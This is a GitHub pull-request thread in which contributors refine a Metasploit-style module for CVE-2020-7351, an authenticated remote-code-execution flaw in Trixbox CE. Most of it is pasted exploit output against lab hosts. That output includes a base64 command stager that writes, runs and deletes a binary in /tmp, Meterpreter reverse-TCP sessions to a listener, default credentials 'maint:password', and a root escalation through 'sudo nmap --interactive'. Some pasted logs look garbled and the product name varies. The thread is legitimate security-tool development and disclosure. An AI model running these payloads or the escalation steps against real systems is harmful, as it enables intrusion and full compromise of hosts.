; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)') 2> /dev/null > '/tmp/RBUGF' <
'/tmp/OQyK.b64' ; chmod +x '/tmp/RBUGF' ; '/tmp/RBUGF' ; rm -f '/tmp/RBUGF' ; rm -f '/tmp/OQyK.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 4 opened (192.168.205.1:4444 -> 192.168.205.150:60710) at 2020-05-03 23:27:00 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=102, gid=103, euid=102, egid=103)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 4 closed. Reason: User exit
```

Looking at the code for later versions I can see that your regex would work better. What I propose is perhaps combining both together:

```
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1})/).flatten.first
if version.nil?
  version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
if version.nil?
  print_error("Unable to grab version of Trixbox installed on target!")
  return nil
end
end
```

wvu commented on May 4, 2020

Contributor

Server username: no-user

I am so fixing that this week.



gwillcox-r7 commented on May 4, 2020 • edited

Contributor

Okay with this regex:

```
version = res.body.scan(/v(\d.\d{0,1}\d{0,1})/).flatten.first
if version.nil?
  version = res.body.scan(/Version: (\d.\d{0,1}\d{0,1})/).flatten.first
if version.nil?
  print_error("Unable to grab version of Trixbox installed on target!")
  return nil
end
end
```

We get some nice results at long last:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.4.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMgEBAQAAAAAAAAAAIAAwABAAAAVIAECQAAAAAAAAAAAAAQIAABAAAAAAAEAAAAAAAAAIAECACABAJqAAAAgAEAAAcAAAAEAAaunbrCPna2d10JPRfK8mxHzFXFYPHBANXEeKDgXqnWo2MtM9yIFHtxKAsE0mtuImabW7gWgZ
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)') 2> /dev/null > '/tmp/LLWIJ' <
'/tmp/VuDji.b64' ; chmod +x '/tmp/LLWIJ' ; '/tmp/LLWIJ' ; rm -f '/tmp/LLWIJ' ; rm -f '/tmp/VuDji.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 9 opened (192.168.205.1:4444 -> 192.168.205.150:60303) at 2020-05-03 23:47:06 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 9 closed. Reason: User exit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.144
RHOSTS => 192.168.205.144
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.144:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.144:80 - Authenticated successfully.
identified.205.144:80 - Trixbox CE 1.0
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.146
RHOSTS => 192.168.205.146
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE 1.2.3 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Version info is now finally more accurate 🙏 Still need to work on why its detecting Trixbox CE 1.2.3 as not vulnerable though.



gwillcox-r7 commented on May 4, 2020 • edited ▼

Contributor

Ah so found out why it wasn't detecting that version. Your last check was waaaaaaaaaay too specific. Here is what it was before:

```
elsif Gem::Version.new(version) == Gem::Version.new('1.2')
```

And here is the new version:

```
elsif Gem::Version.new(version).between?(Gem::Version.new('1.2'), Gem::Version.new('1.9'))
  @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
```

Lesson here: Don't do checks specifically on a one branches's release number. There are typically multiple releases within a branch or within one major.minor release.

Edit here is the code working now with these updates:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE 1.2.3 identified.
[*] 192.168.205.146:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIABAAAAAAAAAAEAAAAAAAAAIAECACABajqAAAAgAEAAAcAAAAEAAu8WPQqja3t10JPRYMcmxHzFYFQNYFYPo/OIw5TD2iyGz5b1wb4A8qfbdQ8R2Snr/t92x/18
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)') 2> /dev/null > '/tmp/xkjQL' <
'/tmp/FrZkS.b64' ; chmod +x '/tmp/xkjQL' ; '/tmp/xkjQL' ; rm -f '/tmp/xkjQL' ; rm -f '/tmp/FrZkS.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.146
[*] Meterpreter session 10 opened (192.168.205.1:4444 -> 192.168.205.146:32775) at 2020-05-03 23:57:12 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
```

gwillcox-r7 commented on May 4, 2020

Contributor



@stasinopoulos Okay with updates this is what things look like atm:

```
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.144:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.144:80 - Authenticated successfully.
    identified.205.144:80 - Triobox CE 1.0
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.147
RHOSTS => 192.168.205.147
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[+] 192.168.205.147:80 - Triobox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148
RHOSTS => 192.168.205.148
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Triobox CE 1.2.0 identified.
[*] 192.168.205.148:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAADQIAABAAAAAAAAAAEAAAAAAAAAAIAECACABajqAAAAgEAAAcAAAAEAAA2eXZdT0XzH3sR+9FTcPCzFvGoPHBANvFuLgXQVVO3nuimg+QieMcAI+cb11ypWjHABp2S
; ((which base64 >&2 && base64 -d -) || ((which base64 >&2 && base64 --decode -) || ((which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || ((which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());')) || ((which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IsRtn' <
'/tmp/3jFxx.b64' ; chmod +x '/tmp/IsRtn' ; '/tmp/IsRtn' ; rm -f '/tmp/IsRtn' ; rm -f '/tmp/3jFxx.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.148
[*] Meterpreter session 11 opened (192.168.205.1:4444 -> 192.168.205.148:32774) at 2020-05-04 00:18:06 -0500
[*] 192.168.205.146 - Meterpreter session 10 closed. Reason: Died
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.148 - Meterpreter session 11 closed. Reason: User exit
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.145
RHOSTS => 192.168.205.145
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.150
RHOSTS => 192.168.205.150
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Triobox CE 2.4.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAADQIAABAAAAAAAAAAEAAAAAAAAAAIAECACABajqAAAAgEAAAcAAAAEAAAvhcSgina0t10jPRYmcmxHzFwFYPo/ANwEeLieIh3PaZ7ZG4b1wGSK7Fcc4ay+Chxf14DgBe
; ((which base64 >&2 && base64 -d -) || ((which base64 >&2 && base64 --decode -) || ((which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || ((which python >&2 && python -c
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());')) || ((which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FPEAL' <
'/tmp/pSjqF.b64' ; chmod +x '/tmp/FPEAL' ; '/tmp/FPEAL' ; rm -f '/tmp/FPEAL' ; rm -f '/tmp/pSjqF.b64'"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 12 opened (192.168.205.1:4444 -> 192.168.205.150:47103) at 2020-05-04 00:22:02 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 12 closed. Reason: User exit
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) >
```

The timeout is on TriBox CE 2.0 due to delays on the host, again just need that timeout update. Same with TriBox CE 2.2.12.

gwillcox-r7 commented on May 4, 2020

Contributor

Well I guess when the timeout doesn't happen, CE 2.2.1 is actually pretty good:

```
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set VERBOSE false
VERBOSE => false
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.151:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.151:80 - Authenticated successfully.
[+] 192.168.205.151:80 - Triobox CE 2.2.1 identified.
[*] 192.168.205.151:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.151
[*] Meterpreter session 13 opened (192.168.205.1:4444 -> 192.168.205.151:32771) at 2020-05-04 00:32:43 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > getuid
Server username: no-user @ asterisk1.local (uid=100, gid=101, euid=100, egid=101)
meterpreter > shell
Process 4082 created.
Channel 1 created.
pwd
/var/www/html/maint/modules/11_endpointcfg
```

```
whoami
asterisk
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

gwillcox-r7 commented on May 4, 2020 • edited

Contributor

TrixBOS CE 2.6.2.2 seems to work well with updates:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.152:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.152:80 - Authenticated successfully.
[+] 192.168.205.152:80 - Trixbox CE 2.6.2 identified.
[*] 192.168.205.152:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.152
[*] Meterpreter session 14 opened (192.168.205.1:4444 -> 192.168.205.152:42177) at 2020-05-04 01:08:56 -0500

[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=100, gid=101, euid=100, egid=101)
meterpreter > shell
Process 3616 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
pwd
/var/www/html/maint/modules/endpointcfg
```

And here is TrixBOS 2.8.0.4:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.153:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.153:80 - Authenticated successfully.
[+] 192.168.205.153:80 - Trixbox CE 2.8.0 identified.
[*] 192.168.205.153:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.153
[*] Meterpreter session 15 opened (192.168.205.1:4444 -> 192.168.205.153:59912) at 2020-05-04 01:10:25 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter >
```

Looks like I might need to update the regex to catch one more potential period and number. Will attempt this tomorrow as initial attempts show that check method might need more edits from me.

stasinopoulos commented on May 4, 2020

Contributor

Author

**@stasinopoulos** Here is an updated regex that will fix the regex you have at the moment in your code and will update the output to be better:

```
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
print_good("#{peer} - Trixbox CE v#{version} identified.")
```

If I run this against TrixBox CE 1.1, the output is now a lot more obvious:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[+] 192.168.205.147:80 - Trixbox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Targeting TrixBox 2.4.2.0, this output becomes somewhat less reliable...

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.0.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAIAAwABAAAVIAECDQAAAAAAAAAAADQIAABAAAAAAAAAAAEAAAAAAAAAIECACABAJqAAAGAEAAACAAAAAAAvUbnCTb19l0JPRYMcmxH4PABDFoEQNoEekZjZZ6ColQYT9uzAy9wJRZIO3ZfmGGV
; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 &&
python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)') 2> /dev/null >
'/tmp/RBUGF' < '/tmp/OQyKc.b64' ; chmod +x '/tmp/RBUGF' ; rm -f '/tmp/RBUGF' ; rm -f '/tmp/OQyKc.b64'"]
[*] Transmitting intermediate stager... (106 bytes)
[*] Sending stage (980808 bytes) to 192.168.205.150
[*] Meterpreter session 4 opened (192.168.205.1:4444 -> 192.168.205.150:60710) at 2020-05-03 23:27:00 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: no-user @ trixbox1.localdomain (uid=102, gid=103, euid=102, egid=103)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.205.150 - Meterpreter session 4 closed. Reason: User exit
```

Looking at the code for later versions I can see that your regex would work better. What I propose is perhaps combining both together:

```
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1})/).flatten.first
if version.nil?
  version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
  if version.nil?
    print_error("Unable to grab version of Trixbox installed on target!")
    return nil
  end
end
```

Updated with that -more accurate- version detection.

**gwillcox-r7** commented on May 4, 2020

Contributor

**@stasinopoulos** Finally got this working, sorry for the delay. New code should be this (ignore the surrounding bits, this is more to show the update to the regex and to the version check):

```
def get_target(res)
  version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}).{0,1}\d{0,1})/).flatten.first
  if version.nil?
    version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}).{0,1}\d{0,1})/).flatten.first
    if version.nil?
      print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
      return nil
    end
  end
  print_good("#{peer} - Trixbox CE v#{version} identified.")
  if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
    @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
  elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
    @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
  elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
    @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
  else
    return nil
  end
end
```



Trixbox CE <= v2.8.0.4 Authenticated RCE ...

✓ 18ebf5e

**gwillcox-r7** merged commit **d2b196f** into **rapid7:master** on May 4, 2020  
1 of 3 checks passed

[View details](#)

gwillcox-r7 commented on May 4, 2020 • edited by tperry-r7

Contributor

## Release Notes

This adds in a module for [CVE-2020-7351](#), an authenticated RCE in the `endpoint_devicemap.php` page of Trixbox CE devices running version 1.2.0 to 2.8.0.4 inclusive. Successful exploitation results in RCE as the `asterisk` user, however users can easily elevate their privileges to the `root` user by utilizing an outdated version of Nmap that comes installed by default on these devices.

 gwillcox-r7 added the `docs` label on May 4, 2020


gwillcox-r7 commented on May 4, 2020

Contributor

@stasinopoulos Discussed this over Slack but leaving it here for reference: we had to rebase this into one commit due to a bunch of merge conflicts when trying to squash the 60+ commits we had before down into a smaller number of commits. Although my name may appear on the commit, your name still appears when doing `git log` so hopefully that should be okay.

Congrats again on your first commit to the framework and on getting a CVE for this bug! Look forwards to seeing more contributions in the future!

 1

 gwillcox-r7 added the `rn-modules` label on May 7, 2020

### Reviewers

 bcoles

 todb-r7

 wvu

 gwillcox-r7



### Assignees

 todb-r7

 gwillcox-r7

### Labels

`docs` `module` `rn-modules`

### Projects

None yet

### Milestone

No milestone

### Development

Successfully merging this pull request may close these issues.

None yet

### 6 participants

